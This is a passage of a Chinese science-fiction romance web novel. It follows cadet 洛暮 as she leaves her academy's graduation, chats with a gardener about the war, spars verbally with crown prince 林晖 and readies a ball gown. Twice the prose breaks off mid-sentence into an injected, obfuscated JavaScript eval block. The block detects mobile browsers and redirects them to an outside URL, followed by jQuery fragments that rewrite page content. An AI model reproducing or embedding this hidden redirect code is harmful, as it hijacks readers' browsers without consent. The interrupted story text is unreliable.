《退化笔记[星际]》 1. 绿宝石的舞会(一) “请诸君举杯痛饮,这帝国是属于你们的!这世界是属于你们的!作别学生生涯固然是值得痛哭一场的事情,但展现在你们眼前的,却是无比辉煌和精彩的人生!” 校长,这你可说错了。 世界是属于我的吗?不,它是属于你们的。 辉煌是属于我的吗?不,它是属于他们的。 洛暮在心里说。 她坐在礼堂的角落,没有戴耳机,这件事已经让她后悔整整一个上午。把别人的话当耳旁风虽然是她的拿手好戏,但学校礼堂出色的收音功能尽职地把校长慷慨激昂的致辞灌进学生们的耳朵里,声音大到无法忽视。 洛暮很想找个机会溜掉。可望渊军校的毕业典礼岂是一般的隆重,政界精英、军部将领、社会名流纷纷前来,前两排的贵宾席坐得满满当当。就连帝国的皇帝也格外赏脸地莅临现场,他的警卫团把礼堂围得密不透风,一只蚊子也别想飞走。 当然,正常人也不会想飞走。 皇帝的存在就像磁石一样,将所有人的注意力吸走。他们都伸长了脖子去看陛下,苦苦思索着怎么找机会在皇帝面前说上一言半语,眼睛里放出的光足够给星舰当引航灯。 洛暮不关心皇帝。她在思念自己的耳机,它们还是上军校前她从家乡左拉买的。那是个比帝都阿纳斯塔西亚落后起码二十年的小星球。洛暮离开前特意买了最新款的耳机,带到这里才发现它已经是维修都找不到地方的过时产品。读军校这两年耳机摔了好几次,声音不是很灵敏。但洛暮一直舍不得换掉它。 今天早晨来礼堂前,她按照要求换了簇新的少尉军装,耳机舱落在了原来的校服口袋里。 少尉军装笔挺漂亮,她听见后座的女生一直兴奋地向母亲展示新军装,叽叽喳喳的没有停歇。洛暮把手放进口袋,仿佛里面正有一个耳机舱等着她。然后她可以戴上淡紫色的耳机,把女儿的喜悦和母亲的赞许通通隔绝在外。 是的,毕业典礼允许学生家长参加。望渊军校招收的学生不多,礼堂又大得过分,每个学生座位旁边都安排了两个空位,为前来参加典礼的家长准备。 如果学生说我全家都想来怎么办,当然没问题,军校给你单独准备一排。毕竟学生们的家庭都非富即贵,望渊军校的礼堂说不定都有他们家长的赞助。 只有洛暮左边的两个座位都空空如也。 她盯着前方的主席台,其实她只是在出神。主席台上正在进行优秀毕业生表彰,洛暮看见几张熟悉的面孔。比如说她的同学林晖,其实人家是皇帝的儿子,帝国的太子殿下;再比如说隔壁寝室的兰尼,人家是格林公爵的女儿啦,帝国首屈一指的大贵族。 校长在为他们颁奖时,笑得格外慈祥,腰也压得格外低。他每拍一下学生的肩膀,每说一句言辞动人的赞美的话,台下的欢呼声和掌声就要响起一阵。 洛暮觉得很有趣,这出师生友爱的戏码没有谁觉得不合适,只有她的心情逐渐从戏谑到索然再到反胃。不过也正常,洛暮本来就是望渊军校的异类。 担当主持人的教授开始念模范毕业生的名字。 模范毕业生和优秀毕业生不一样,前者是用来表彰在军事方面有杰出成绩的学生,纯看个人的军事素养。而后者要考虑的就多了,比如学生的综合能力,学生在各项活动里的活跃程度甚至是他们的家庭背景。 出于种种考量,望渊军校总是更偏爱优秀毕业生一些。所以轮到给模范毕业生颁奖时,校长已经不在台上了。望渊军校的校长维克少将最大的优点就是务实,他笑容可掬地同优秀毕业生们交谈,完全没有想到要给予台上青涩的学生们一个属于长辈鼓励的眼神。 “下一位模范毕业生,洛暮。” 主持人念道。 这时候已经没什么人鼓掌了,前几位模范毕业生在台上站成一排,脸上是压抑不住的笑容。这是他们人生中目前为止最光荣的时刻,尽管除了自己并无他人关注。他们目不斜视,尽力地摆出军人的样子。 “模范毕业生,洛暮。” 主持人又念了一遍。 没有人走上来。全场的人都不由自主地东张西望起来,仿佛都在卖力地寻找那个名字的主人,即使他们根本不知道对方长什么样。但人群已经习惯了慌乱地表演着无用功,似乎这样才不会显得格格不入。 连台上的模范学生们都按捺不住好奇心,他们小幅度地侧头,用余光瞥向登台的地方,迫不及待地想看看究竟是什么人敢缺席这样的荣耀时刻。 正在与校长交谈的皇太子林晖忽然停了下来,他扭过头,看向原本洛暮所在的地方。那个位置,三个空荡荡的暗红色座位沉默着。他俊美的脸上浮现出一丝阴霾,这点很快被他身边善于察言观色的侍从注意到,侍从问:“殿下在找什么?” 林晖没有说话。他环视全场,犀利的绿色眼睛没有放过任何一个角落,但那个女生的身影没有让他如愿以偿地捕获。 “洛暮。” 主持人第三次念出这个名字。 “让他不要喊了。”林晖冷冷地说,“洛暮有事要先行离开,她给我说过了。” 皇太子的话没有人敢怀疑。这个小小的插曲很快被众人默契地忽略掉。仿佛为了掩盖刚刚的瑕疵,下一个人上场时掌声热烈了许多。 校长还想说些什么,但林晖作了一个手势,示意他不要打扰自己。太子殿下身上无形的威严让所有人都噤声了,他们簇拥在帝国的继承人身边,面面相觑,不明白殿下的心情为何急转直下。 林晖皱眉沉思了片刻,旋即快步向礼堂门口走去。他身边的人群立刻为他让出一条道路,这条路在他穿过后又迅速合拢,似一片孤帆划过的海洋。人们迷惑不解地站在原地,望着皇太子的背影。有人想要跟随,却在机灵的侍从的阻拦下诺诺而退。 洛暮独自漫步在校园里。毕业典礼与战争的双重影响下,军校里没什么人,只有蒲公英在微风中寂寞地摇晃。 她从那个华美的礼堂逃了出来,此刻正尽情地呼吸外面的新鲜的空气,让它们滋润自己在聚光灯下被烤干的脑子。没有目的地,她只是沿着军校里那些荒草萋萋的小径,随意地拐弯、前行,没人会想到来走这样荒芜的路,她丝毫不用担心受人打扰。 她找到一处树荫下的木质长椅,它年久失修,漆成褐色的椅面已经破旧起皮。洛暮脱下华丽却并不实用的军服外套,把它丢到椅子上。然后坐下,盯着脚下破碎的地砖和缝隙中长出的青草,开始漫长的发呆。 这样的时光在她过去的生命里非常常见,每当洛暮过度使用了脑子后,她就会抽出一个下午的时间,找到一个安静的地方发呆。这时候她什么也不想,不想前途也不关心世界。 她听见树上鸟的鸣叫,它们在枝叶间窜跳,有红色的嘴和黄色的爪子。她听见风吹过头顶的杏树,那只为开花而无力供养果实的树木摇曳着,它青色的果子落在地上,滚落到少女的军靴边。 洛暮抬脚准备把它踩碎,这种果子长不大,没什么甜味,怎样折腾它都不可惜。这时她听到一声急促的呼唤:“哎哎哎等等,同学,不要踩,不要踩!” 她循声望去,那人穿着米黄色工作服,腰上挂了条墨蓝色的抹布。他左手拿着一个粗布口袋,口袋底坠出一个明显的弧度,显然里面装了不少东西。他对上洛暮的目光,讨好地笑了笑,三步并作两步地窜过来,捡走洛暮脚边的果子,丢进口袋。 这副打扮和做派,不用猜也知道他是军校里的后勤人员。洛暮提醒道:“这个杏太小了,不好吃。” “能吃,能吃!”园丁说,他的话显然有些牛头不对马嘴。为了证明自己,他又从口袋里拿出一个果子,用拖在地上长长的水管洗了洗,递给洛暮,“脆的很!” 洛暮犹豫一下,说声谢谢后接过果子咬掉一半。果真如园丁所说,它的口感非常脆,没有甜味,甚至连酸味也没有,吃起来就像在嚼水分充足的青草。总之是绝对不会让人想吃第二次的味道。 “怎么样?”园丁期盼地看着她。 她又咬掉另一半果肉,对园丁笑了笑,说:“还不错,再甜点就好了。” “没办法,现在物价涨得厉害,哪里买得起水果。这个好,纯天然的,不花钱。”园丁叹口气,瞥了眼洛暮的军装,“还是你们读军校的好,出来就当军官,不愁吃也不愁穿!” “是啊是啊。”洛暮胡乱地应付道。园丁倒是健谈,他滔滔不绝地从军校说到他的孩子,从孩子说到择校,末了一锤定音道:“等他考学,我也让他考军校,体面又稳定。以后当个军官,待遇好工作也稳定,上哪找这种好事。” 洛暮心不在焉地听着,她的清净被彻底打破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096863|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。她在检讨自己最开始的搭话,一言不发地让他捡走果子不就完了?大家彼此互不干扰不就很好吗?为什么非要多嘴去提醒一句。这令她觉得懊恼,就像今天忘带耳机一样懊恼。 “还有同学,你看到今天的礼堂了吧,是不是特别豪华?我听说军校今天办毕业典礼,特隆重,皇帝都来了!我给你说,这可少见,我在这干了多少年了,头一次看望渊搞得这么大。里面都是你学长学姐吧,你有没有去看?”园丁问。 “不,我是毕业生。”洛暮说。 园丁的眼睛一下子瞪大了,他上上下下重新打量洛暮一番,问:“不可能吧?你,你今年多大。” “十九岁。” “我就说嘛!看着年纪小的很。十九岁就毕业?我怎么记得你们之前的毕业生年纪都是二十多岁了。” “正常情况下是二十二岁左右毕业,但遇上战争,毕业时间提前了。我上学比较早,所以是十九岁。”洛暮解释道。 “啊呦,厉害,厉害。我儿子就比你小一岁,他还在读高中,你都读完军校了。”园丁嘿嘿笑道,他忽然想起了什么,压低声音,神神秘秘地问,“对了,你刚刚说因为打仗,学校让你们提前毕业,是不是前线缺人,所以让你们军校生赶紧毕业去打仗?” 洛暮觉得有些好笑,甚至连她自己都忍不住好奇地在心里问:望渊军校的学生会去前线打仗吗? 园丁见洛暮不说话,以为这是一种默认,心里紧张起来,继续说:“前线打得厉不厉害?我看现在网上都没什么人说,应该没什么大问题吧?不会打很久吧?” “应该吧,我也不清楚。”洛暮说。 这个回答并不能让园丁满意,他追问道:“那同学你觉得还要打多久,以后读军校的人会不会去打仗?有没有这个可能,危不危险啊?” “我不是长官,怎么会知道那么多。”看着园丁焦急的样子,洛暮刚才被打扰的不耐忽然散去了,她拿出军校宣传常用的口吻,语气亲切了一些,“叔叔,考军校就是要准备上战场呀。” 园丁听出了洛暮的言外之意,他有些失望,说:“唉,本以为上军校是件好事,要是打仗的话,还是算了吧。” 洛暮点点头,笑而不语。 园丁不好意思地看了一眼洛暮,说:“小姑娘,你也不要笑我。道理我们都是懂的,但就他一个儿子,万一有个三长两短的,我和他妈都不知道该怎么办。” “我明白的,谁都希望孩子平平安安嘛。”洛暮表示理解。 “不上军校,现在毕业出来工作也不好找,物价又这么高,愁死人。唉,这个仗什么时候能打完啊。” “难说,但我觉得不会很快结束。” 园丁的表情非常忧愁,他低下头,不知道在想什么。过了一会,他从袋子里拿出一大把杏子,慷慨地说:“来,小姑娘,拿着给你同学吃。年纪轻轻一群孩子,就要上战场打仗了,你们爸妈该多担心!” 洛暮吃了一惊,立刻站起来推拒,他人的好意是她最不擅长应对的:“不用不用,您自己拿着吧,捡这么多不容易,而且他们……我们也不去前线,真的不用,谢谢您,您别费这个心了。” 园丁根本不信,只当这是洛暮的推辞的借口。他见洛暮的军装外套放在椅子上,就要把手里的杏一股脑塞进外套口袋。洛暮眼疾手快地拽起军装,牢牢地抱在胸前,后退几步,有些哭笑不得,说:“谢谢叔叔,但是我们马上就要出发了,很多东西带不走,不用麻烦,您给我也没地方装呀。” “这么快就走?那拿着路上吃也行!” “不必不必,”洛暮委婉地说,“军队的伙食应该还可以。” 这下园丁不再坚持,他说:“照顾好自己啊,打仗很危险的,你一个女孩子,爸妈也不想办法找关系让你留在帝都?” “哈哈,他们没时间管我的……” 洛暮看了眼手环,惊呼一声,“啊,我们通知集合,我先走一步了,叔叔再见。” “哦哦!好,那快去吧,路上小心啊!” 园丁见洛暮神情焦灼,不敢耽搁,立刻让出路。洛暮急匆匆地向外跑去,似乎事态紧急,多停一秒就要造成重大损失。一直跑到这片密林外的七月广场,她放慢脚步,表情又恢复成平日里的漫不经心。 她根本就没收到通知。 2. 绿宝石的舞会(二) 七月广场位于望渊军校的东门,呈长条形,从东门延伸,贯穿军校教学区,两边零零散散分布着九栋教学楼。它靠近东门的那头矗立着一堵巨大的汉白玉墙,正面雕刻望渊军校的校徽,背面是校歌。旁边八根石柱簇拥出一个环形祭坛,每根石柱上都记录着一段望渊军校的校史。 望渊军校的很多人甚至不知道七月广场的尽头有这样一处地方,他们往往止步于每天上课的教学楼,只有洛暮才喜欢往这些偏僻的地方跑,每个校园的角落她都了如指掌。 祭坛非常荒芜,野草没过脚踝。东门离生活区太远,平时鲜有人至。洛暮绕着石柱走,欣赏上面雕刻的图画。说来遗憾,她已经在望渊待了三年,平日也经常来东门附近散步,但这居然是她第一次认真地欣赏这些浮雕。她已经要毕业了,这也许还是最后一次欣赏。 转到第四根石柱的时候,洛暮的脑海里又浮现出刚刚和园丁的对话: “前线打得厉不厉害?战争还会打多久?什么时候能停战啊?” 洛暮同样好奇答案。最开始所有人都以为这只是场普通的叛乱,但随着时间推进,前线的消息被封锁得越来越严密,官方对战争提及越来越少。在媒体的暗示下,民众都相信帝国胜券在握,放心地回归到日常里去。 是呀,帝国这么大,叛乱又在边境。跟我们有什么关系呢? 人们的生活照旧,工作、学习、聚餐、运动,娱乐消息又开始霸占头条。只有增长的物价和越来越沉默的军部暗示着战争依旧存在,且从未像他们认为的那样“不过是场小打小闹”。 帝国依旧迟钝地运转着,你无法说明它的迟钝是因为自信还是恐惧。 “真是服了,难道他们都是群蠢货吗?” 洛暮自言自语道,低头踢开脚边的碎石。 “难道这就是你跑出来的原因?” 一道冷冷的声音从石柱后面传来。 洛暮猝然抬头,左手挡在身前,同时迅速后撤几步,拉开距离,所有动作都在电光火石间完成。毫无疑问这就是她身体的本能,不需要思考不需要预热,她已经摆出一个军事训练中经典的防守姿态。 声音的主人自石柱后踱步而出。他和洛暮一样身穿少尉军装,有着利落的黑色短发,一双轮廓优美的苍翠色眼睛。他的容貌极为出色,甚至有种女孩的秀气,只是他脸上不自觉流露出的傲慢削弱了这种美感,使他具备一种隐隐约约的妄自尊大的气质。 即使如此,他的那双绿色眼睛依旧值得赞叹。此刻风吹动广场边的杏林起伏如海浪,但树叶鲜嫩的颜色在这双眼睛前倏然黯淡,沦落成老电影里黑白的背景。就好像世界上所有的绿色都在这双眼睛前死去了。 在听到声音的时候洛暮就猜到了来人,但直到对方完完全全地暴露在她的视野下,她才收起防守的姿态,说:“太子殿下居然有闲情逸致到这来。” 这个青年正是帝国的太子林晖。 林晖在洛暮面前站定,从容道:“不来的话,岂不是错失欣赏洛暮少尉格斗术的机会——少尉刚才的反应真标准,难怪学校会把模范毕业生颁给你。” “模范毕业生?”洛暮问。 “是啊,少尉不知道自己有此殊荣吗?” “不知道,也不在乎。” 林晖轻轻地鼓了几下掌,说:“好一个不慕名利的军人!” “真奇怪,我想典礼还没结束,殿下怎么有时间在这里点评我。您离场,有些人恐怕要如丧考妣了。”洛暮反唇相讥。 “典礼那么无聊,少尉都如此明智地出逃,却不允许我紧随其后,”林晖淡淡笑道,“这就是只许州官放火,不许百姓点灯?” “究竟谁才是百姓,”洛暮说,“而且您对这些仪式应该格外热衷吧。” “少尉对我总是多有误解。”林晖嘲道。 “这您就错了,我对于揣测您不感兴趣。殿下身边自有大把人精于此道。” “可他们都非常愚蠢,我不需要蠢人的奉承。倘若少尉能多理解我几分,我一定会倍感宽慰。” “这可不巧,在我看来只有俗人才需要旁人的理解,殿下恐怕不愿意让自己与这个名词扯上干系吧。” 两人针锋相对寸步不让,短短时间内口舌交锋数次,面上都挂着冷笑,仿佛非要等到一方投降才肯停止。这两个天资出众的年轻人有些地方太过相似,他们出类拔萃,心高气傲。秉持着同性相斥的原则,他们相遇时就会极尽所能地挖苦对方,就像故事中用剑攻击镜子里那个自己的骑士。 最终是洛暮先止住攻击,她作出一个停战的手势,说:“你不觉得这样的说话方式很累吗,林晖?” 她没有用讥笑的语气说出太子殿下,这就意味着他们的对话回归平淡。果然,林晖也收敛了脸上富有攻击性的笑容,平静地说:“我以为你乐在其中,洛暮。” 洛暮心想我乐在其中个鬼,只是看到你这副不可一世的样子就想嘲讽一番。但她懒得再与林晖唇枪舌剑,直逼主题:“无事不登三宝殿,殿下找我有什么事情?” “没什么,只是突然想起之前邀请你做毕业晚会上的舞伴,怕你贵人多忘事。” “你还不知道我吗,我从不忘事。”洛暮说。 “我对此深信不疑。”林晖向洛暮伸出手,“希望今晚我们都是合格的舞伴。” “一定如此。” 洛暮与他握手,只是他们的姿态神情不像是晚上将要共舞的青年人,倒像是两个国家的元首在互相致意。 “那么晚上见。”林晖说。 “晚上见。”洛暮忽然想起什么,“等一等,最后一个问题。” 林晖扬起眉。 “怎么找到我的?”洛暮问。 “很简单,我只需要设想如果我心烦意乱会去哪里散心就好了。那我也问最后一个问题,怎么跑出去的?”林晖说。 “也很简单,不过我决定晚上再告诉你。”洛暮回答。 “这很好,使我对晚上的舞会又多一分期待,现在算算应该有三分了。”林晖笑了笑。 “竟然只有三分。” “是的,舞会与典礼同样无聊,在帝国一切事物都很无聊,哪里都一样。”林晖耸了耸肩,绿色的眼眸中闪过一丝厌倦。 “这话我承认。”洛暮点头,“但愿你那三分期待到最后不要变成失望。” 林晖轻笑一声。 他们分开,洛暮目送林晖消失在广场尽头,才向宿舍走去。其实宿舍与礼堂都在一个方向,放在以前她乐意和林晖再同行一段,但现在她心事重重,恐怕会流露出什么端倪。洛暮这段时间思考的事太多了,她非常疲惫。 她推门走进宿舍。 这原本是个两人间的宿舍,然而洛暮的舍友已经搬走了,在战争爆发的第二个月。舍友叫弗吉尼亚,性格跟名字一样纯真可爱。离别时洛暮坚持把弗吉尼亚送到校门口,热烈地与她拥抱,祝福对方有光明美好的未来,还说以后多多联系。 其实洛暮清楚这大概就是此生最后一面。 那天还有个小插曲,她们走到西门时突然下起了雨。局部降雨,阳光和乌云的界限恰到好处。雨滴在校门外淅淅沥沥,校园内却碧空如洗,阳光照耀着生活区成片的宿舍楼,楼顶深红色的瓦片熠熠生辉。 洛暮为弗吉尼亚撑着伞,一边感慨东边日出西边雨,一边松开女生的手,把她送到另一把伞下。撑伞的是个男人,穿着少校的军装,容貌应该还算端正,洛暮没去记他的脸。她只是在听到弗吉尼亚的介绍时,惊异地抬头看了他一眼。 “小暮,这是我的未婚夫。”女孩挽住男人的手,神色羞涩又雀跃。她穿了一件波西米亚风长裙,深蓝裙摆上绣着浅黄的雏菊,棕色长发披在肩头,宛如从雾气里走出的牧羊女,丰润的脸颊上带着几点雀斑。 “你好。”洛暮微笑着冲男人点头,她后退一步打量这对年轻人,脸上适时地露出赞叹的表情,“郎才女貌,真是般配!” 弗吉尼亚的未婚夫满意地笑了。站在一旁的她的父母也满意地笑了。他们称赞两个女孩之间的友谊,摆出一副为二人情谊动容的模样,以此作为弗吉尼亚校园生活的收尾。 最后洛暮目送他们上车,悬浮车发动的时候,弗吉尼亚摇下车窗,罕见地大声说:“小暮,到时候我请你来参加婚礼!” “一言为定。”洛暮说,脸上维持着热烈的笑容。但在那辆载着弗吉尼亚一家的高档悬浮车驶远后,她唇边的笑容骤然消失,面无表情地望着那辆车远去的背影,像是在追忆,又像是一眼望尽了弗吉尼亚的一生。 她收起伞走进学校,雨已经停了。 洛暮坐在床上,她刚才突然想起了弗吉尼亚,这间寝室失去同伴后大得有些空旷,令她有些怀念弗吉尼亚在的时光。现在整栋宿舍楼都很安静,望渊军校大部分学生的家都在帝都阿纳斯塔西亚,毕业季他们选择回去居住,只剩下几个外地的学生还留在这里,像是被遗弃了一样。 算啦,这样多好,我还乐得清静呢。洛暮心想。 她休息了一会就起身收拾行李,今天过后她也要搬出这个校园。望渊军校最大的好处是毕业后可以留在阿纳斯塔西亚,学生直接分配到帝都的守卫军,起点高提拔快,军衔上去了再申请到哪个军区任职,或者中途转成行政岗,进入帝国的八大部任职。 真不错,人人都有光明的未来。 洛暮的东西不多,一些笨重的物品已经被她邮寄回了故乡左拉星。她把剩下的衣物和生活用具放进行李箱。这个棕色的杂牌行李箱之前一直躺在床下,今天终于派上了用武之地,最后洛暮把一套盒德兰牌护肤品放到最上层,它们是弗吉尼亚走之前送给她的。 一套德兰护肤品的价格相当于军校发的两个月津贴,这也是洛暮后来才得知的,此前她甚至不知道德兰是什么东西。 “要好好保养啊,这个牌子的护肤品超级好用。”弗吉尼亚捧着她的脸,仔细端详,严肃地下结论,“以后你要少晒太阳。” “不行,我就喜欢在阳光下乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096864|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑。”洛暮高傲地挣开对方的手。 “是的!所以我每次都把你喊回来涂防晒,你没黑成炭都是我的功劳!”弗吉尼亚用力地揉着她的脸。 弗吉尼亚已经离开几个月了,洛暮没去拆封那盒护肤品,不好说是舍不得还是想留作纪念。 她摸了摸包装精美的护肤品,接着合上行李箱,轻松地把它拎起来放在墙边,又坐回床上,在手环里翻出通讯录一栏。她滑过最上面的林晖,停留在一个备注为“陈砚泽(2.21)”的联系人上。 洛暮拨出电话,那边很快就接通了。 电话里传来一个女生的声音,比较成熟,听起来像个大姐姐:“小暮?你收拾完了?” “是啊,本来也没什么好收拾的。”洛暮说。 “今晚还是按照原计划吗?” “当然,我确定好的事情从不改变。”她笑着说。 “不会舍不得吗?” “说什么呢,我对这地方毫无留恋之意,宇宙正在召唤我……” “我是说林晖。” “提他干什么?” “我以为你们互相喜欢。” “哎?这怎么可能。”洛暮的声音听上去很吃惊。 “总之我觉得是这样的,也许是女生的直觉?不喜欢的话,他不会邀请你做舞伴,你也不会答应他。” “同学情谊而已,怎么说也一起上过课。” “如果说同学情谊他完全可以请兰尼或者赵婉如,对于皇太子来说有的是人选。至于你,我很难想象你会有什么同学情谊。” “喂,说得我好像非常薄情一样。” “不是薄情,你清楚和他们不是一路人,所以很少来往,自然谈不上情谊。但林晖在你心里不同,我说对了吗?” “大错特错。除了你,阿纳斯塔西亚的所有人在我眼中都一样。”洛暮说,“这里的一切无聊透顶,人和事全都死气沉沉,我和林晖走得近只是因为我觉得他还算有趣,他大概也是如此。你在担心什么?” 那头的砚泽沉默了一下,问:“真是如此吗?” “只是如此,必须如此。”洛暮斩钉截铁地回答,“好啦,不说这些题外话了,你收拾得如何?” “早已妥当,还发生了件很有意思的事,见面后我再告诉你。不打扰了,你好好准备舞会去吧。”砚泽笑了笑,说。 “好啊,那么晚上见。” 洛暮挂断电话。站起来在寝室里来回踱步,眉头紧锁,不知道在想些什么。过了一会,她伸手打开衣柜。 衣柜已经空荡荡的了,只剩一条裙子悬挂在中间。洛暮取下衣架,把裙子平铺在床上,轻轻地抚摸它,从做工精细的衣领,到缀着宝石的腰线,再向下,直到摊开后如花瓣般层叠的裙摆。她的动作小心翼翼,似乎怕碰坏了这条过分美丽的裙子。 洛暮又用指尖捏住裙子的两肩,提起它走到寝室的落地镜前。 这面镜子也是弗吉尼亚的遗留,当初她搬进来的第一件事就是给寝室安一面落地镜,结果晚上起夜又被它吓得要死,路过都不敢睁开眼睛,战战兢兢的样子被洛暮笑了很久。 洛暮对着镜子比了比,像是在逛街试衣的时候判断裙子是否合身。其实她心里清楚裙子不可能不合身。它是按照洛暮的身材定做的,从款式到花纹,全部是由洛暮自己构想,再交给裁衣店制作。 她不通设计,但好在善于表达。还记得那天服装设计师坐在她面前,听她讲完细节,没有任何犹豫就画好终稿,全程一气呵成。结束后设计师还要感慨:“你是我见过的沟通最顺畅的顾客,和你合作真的很愉快。” 洛暮笑了笑,转身去结账。她挑选的是阿纳斯塔西亚比较高端的裁衣店,费用自然不菲。她潇洒地花掉入学后攒下的所有奖学金,纳闷自己居然丝毫没有感到惋惜。 “虚荣心,可笑的虚荣心啊。”洛暮对着镜子里的自己批判道。尽管如此,她还是没生出什么内疚之意。 非常满意地把裙子放回床上,她继续欣赏上面精美的刺绣,忍不住又去抚摸裙身,享受绸缎滑过指尖时的冰凉触觉。 陈砚泽的疑问在她心中响起。 “不会舍不得吗?” 当然不会。就这一次,最后一次。洛暮告诉自己。 她心里忽然涌上一股极大的怅然,不由得退后两步,仔细地端详这条凝聚了她大半身家的裙子。是,它华而不实,大概只派得上一次用场;是,它累赘多余,设计师还嘱咐要时常拿去保养。以洛暮向来奉行的实用主义原则上看,从头到脚它都无一可取之处。 但真是条漂亮裙子啊。 就像偶尔洛暮也会偷偷站在落地镜前,看着里面正值年华的少女,不合时宜地发出感慨,真是个漂亮女孩啊。 她想起抽屉里还有几份重要文件,就打开抽屉把它们通通拿出来。她把毕业证、通行证、身份证明都收进双肩包里,最后只留下一份调任书。 洛暮把它拿在手里来回翻看一下,很快也丢进了书包。 3. 绿宝石的舞会(三) 林晖靠在飞驰的悬浮车后座上,注视着阿纳斯塔西亚的夜色。 阿纳斯塔西亚,繁华的城市,在这里没有夜晚。拔地而起的摩天大楼犹如一道道光柱,与底下车水马龙的大道交相辉映,共同织成一个密不透风的牢笼,将生活其中的人牢牢困在看不到星星的方寸之地。 但即使如此,每年还有成千上万的年轻人前仆后继地来到这里,怀着一颗朝圣的心,成为阿纳斯塔西亚的奴隶,灵魂困顿一生。 林晖痛恨阿纳斯塔西亚,当他在皇宫俯视如同蛋壳一般的城市时,他往往感到窒息。人们都知道太子殿下有个奇怪的喜好,他热爱在夜幕降临后驱车在空中无人区狂奔。那个地方一片静谧,没人会把车开到那么高的地方去,他们的车也没有那么好的性能。 林晖把悬浮车的速度调到最大,高度设到极限,然后打开天窗静静地看着头顶飞速流逝的星星。夜风从窗口灌了进来,冷得吓人。但他迷恋这种感觉,这令他觉得离宇宙很近,能忘却来自地心的引力,把诡谲恶毒的阿纳斯塔西亚甩在身后。 偶尔,他是说偶尔。林晖会叫上洛暮,他在军校针锋相对的宿敌来享受这段时光,那大概是他们最像朋友的时候。 洛暮和他的风格不同,她不屑于自动驾驶,说难道你今后开战斗机也会自动驾驶么,这样怎么能感受到速度带来的快乐。于是她让林晖坐到副驾驶,自己调成手动驾驶,带着林晖一路狂飙到阿纳斯塔西亚城外。第一次林晖吓了一跳,没有料到她居然是个开快车的好手。他们脚下属于城市的灯光飞速后退,形成无数道诡异的光路,前方扑面而来的黑暗泼墨一般涌来,冲出阿纳斯塔西亚的瞬间,群星猛地洒满夜空。 洛暮放慢车速,让悬浮车的两翼展开。环绕他们的是壮阔的星空和丝丝缕缕飘过的云。林晖站起来走到窗边,远处名为阿纳斯塔西亚的城市依旧灯火通明,此时它不再像牢笼。它镶嵌在漆黑的大地上,犹如一颗发光的钉子,渺小顽固。 洛暮走到他身边,她已经调回自动驾驶模式。身穿便装的女孩同他一起凝望阿纳斯塔西亚,淡淡地说:“林晖,这才叫甩在身后。” 她的语气听着漫不经心,一副世外高人的样子,唇边却忍不住浮现孩子气的微笑。她很快又摇摇头,“不,其实这也不算。” 林晖侧过头看向洛暮,女孩比他低了一个头。洛暮不算那种高挑的女生,但也不显得娇小。大量的训练使她具有一种军人的力量感,姿态挺拔,即使个子低一些,与别人论战时气势也丝毫不输。 她有时不得不微微仰起头看他,比如说现在,洛暮抬头与他对视。车内没有开灯,唯一的光源是窗外的星空。柔软的光芒打在洛暮的侧脸上,她黑色的眼睛格外明亮,让林晖忽然嫉妒起来。 她怎么能做到如此肆意地离开阿纳斯塔西亚?而他这么多年竟然只想到茫然地在它上空徘徊。她开车时怎么能那样潇洒自如,神色自信到仿佛把一切都掌握在手中? 林晖移开目光。 那天他们躺在后座上睡着了,座椅很宽阔,他们一人占据一边。洛暮说她离开故乡后再没见到这样的星空,洛暮的故乡是个叫左拉的小星球,林晖没听说过。 他不明白那个小地方为什么值得洛暮留恋。 虽然阿纳斯塔西亚也没好到哪去,但是左拉,左拉。那种一脚油门就要冲出大气层的小星球怎么可能容纳下洛暮,她在那里能飙车吗,能无所顾忌地狂奔吗?它脆弱的地壳如何承载得了洛暮的雄心壮志。 林晖毫不怀疑洛暮会留在阿纳斯塔西亚。她无处可去,只有帝都阿纳斯塔西亚才能给予洛暮一切,给予配得上她才华的地位、荣耀、财富。 悬浮车悄无声息地停下,皇宫配给太子的司机自然是老手,车技娴熟,加速和开车都稳稳当当,保证让后座的人感受不到一丝颠簸,林晖颇觉无趣。他怀念洛暮开得像风一样的感觉,喜欢她大起大落的刹车,车窗打开后她被吹起的黑发飞舞如练。后来林晖自己单独尝试了几次,找不回那种感觉,独属于洛暮的感觉。 “殿下,宴会厅到了。”侍从为他拉开车门,恭敬地提示。 林晖下车望向舞厅的大门。望渊军校把毕业舞会安排在它名下的一家酒店,平日用来接待高官和将领的酒店,办起舞会来自然是得心应手。此刻舞厅已经亮起明黄色的灯光,深绿的绸缎幔帐自典雅的落地窗后垂落,底下坠着金色流苏。透过窗户,隐隐约约可见里面闪过的女孩们的曼妙身影,笑闹声不断传来。 忽略掉舞厅门口两列迎接的侍者,林晖信步走进大门。 香水味扑面而来,巨大的穹顶挂着水晶制作的吊灯,它金属光泽的花杆向外延伸,盛放着数十只精雕细琢的烛状副灯。富丽堂皇的穹顶下,少男少女们亲密地聚在一起,华服与珠宝交相辉映。 林晖快速掠过他们的脸,没有看到洛暮。而这时已经有人敏锐地发现太子殿下的到来,就像是嗅到花香的蜜蜂,人群很快把林晖簇拥起来,跟平时一样。 最为积极的当然是兰尼,格林公爵的小女儿。 